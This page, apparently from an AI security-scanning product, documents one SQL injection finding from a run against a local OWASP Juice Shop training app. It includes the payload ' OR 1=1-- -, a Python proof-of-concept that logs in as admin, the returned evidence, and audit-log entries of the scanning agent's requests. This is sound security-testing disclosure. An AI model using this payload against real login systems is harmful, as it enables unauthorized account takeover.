One real finding, shown in full

Not a sample card. What the run filed, the PoC that proved it, what the target returned, and the audit trail behind it.

The cards on the homepage are labeled ILLUSTRATIVE EXAMPLE — NOT A REAL SCAN for a reason: they show the shape of a finding, not a claim about a real run. This page is the opposite. It's one specific finding — the same fields, the same PoC gate, the same CVSS math described on the Verification page — pulled straight from a real run's own output and shown without editing its substance.

The run

Run benchmark-juiceshop-1786475823, started 2026-08-11 against a local instance of OWASP Juice Shop — a deliberately-vulnerable training application, run locally for this scan at http://127.0.0.1:4285. This is a known-vulnerable benchmark app, not a claim about any production system: showing that plainly is what makes the finding below independently checkable rather than something you have to take on faith. The scan used anthropic/claude-sonnet-5 and finished with root_completed: true in its own meta.json.

This is the same Juice Shop run referenced in Withdrawing our benchmark numbers. That post withdrew an aggregate recall score — a found/missed table built by hand on top of a run that got cut short. It did not, and does not, say anything about whether any individual finding the run produced was real. create_finding's PoC gate is per-finding, checked the moment each finding is filed, before anyone knows how or whether the run around it will finish. The finding below was filed 75 seconds into that run, by an agent that went on to finish normally and was never among the subagents cut off later — but the honest framing is the same either way: this page is one finding's own record, not a recall number, and the two withdrawn numbers don't apply to it.

The finding, as filed

The PoC that proved it

Send a POST request to /rest/user/login with an email field containing the SQLi payload ' OR 1=1-- - and any password; the response contains a valid authentication token for the admin account, confirming both the injection and the resulting authentication bypass. This is poc_script_codeexactly as the agent filed it — the same script create_finding ran before the finding was ever accepted.

import requests
r = requests.post('http://127.0.0.1:4285/rest/user/login',
    json={"email": "' OR 1=1-- -", "password": "x"})
print(r.status_code)
print(r.json())
assert r.status_code == 200
assert 'authentication' in r.json()
assert r.json()['authentication']['umail'] == 'admin@juice-sh.op'

What the target actually returned

The evidencefield is the tool's own record of what the request produced — verbatim from the finding as filed:

POST /rest/user/login with email=' OR 1=1-- - returned HTTP 200 with an authentication.token JWT and umail=admin@juice-sh.op, i.e. full admin session takeover without knowing the admin password.

The audit trail

Every tool call any agent makes is appended to an append-only audit log — agent, tool, arguments, a preview of the result, model, and timestamp. Below is the real excerpt covering this exact finding: the request that fired, then the call that filed it. Response headers are truncated for length (marked …), everything else is unedited.

{
  "iso_time": "2026-08-11T19:18:00Z",
  "agent": "vuln-sqli",
  "model": "anthropic/claude-sonnet-5",
  "tool": "http_request",
  "args": {
    "method": "POST",
    "url": "http://127.0.0.1:4285/rest/user/login",
    "headers": { "Content-Type": "application/json" },
    "body": "{\"email\": \"' OR 1=1-- -\", \"password\": \"x\"}"
  },
  "result_preview": "status=200\n\nheaders:\nAccess-Control-Allow-Origin: *\n...\nContent-Type: application/json; charset=utf-8\nContent-Length: 784\n...",
  "result_chars": 1167
}

{
  "iso_time": "2026-08-11T19:18:21Z",
  "agent": "vuln-sqli",
  "model": "anthropic/claude-sonnet-5",
  "tool": "create_finding",
  "args": {
    "title": "SQL Injection Auth Bypass in /rest/user/login (email field)",
    "cvss_vector": {
      "attack_vector": "N", "attack_complexity": "L", "privileges_required": "N",
      "user_interaction": "N", "scope": "U",
      "confidentiality": "H", "integrity": "H", "availability": "N"
    },
    "cwe": "CWE-89",
    "confidence": 0.98,
    "exploitability": 0.95
    // full description / technical_analysis / poc_script_code / evidence
    // shown in full above -- omitted here only to keep this excerpt short
  },
  "result_preview": "finding accepted: id=e6784bd8 severity computed from CVSS vector",
  "result_chars": 64
}

“severity computed from CVSS vector” is the tool doing the arithmetic, not the model self-reporting a number — see Verification for how that computation works and what else the audit log covers for the rest of a finding's lifecycle.

Fix

Use parameterized queries / prepared statements (or the ORM's safe query builder) for all authentication queries instead of string concatenation. Never build SQL from raw user input. Additionally enforce generic error messages, rate limiting, and account lockout on the login endpoint to reduce brute-force/injection exploitation windows.

Read how this gate works for every finding, not just this one, on Verification.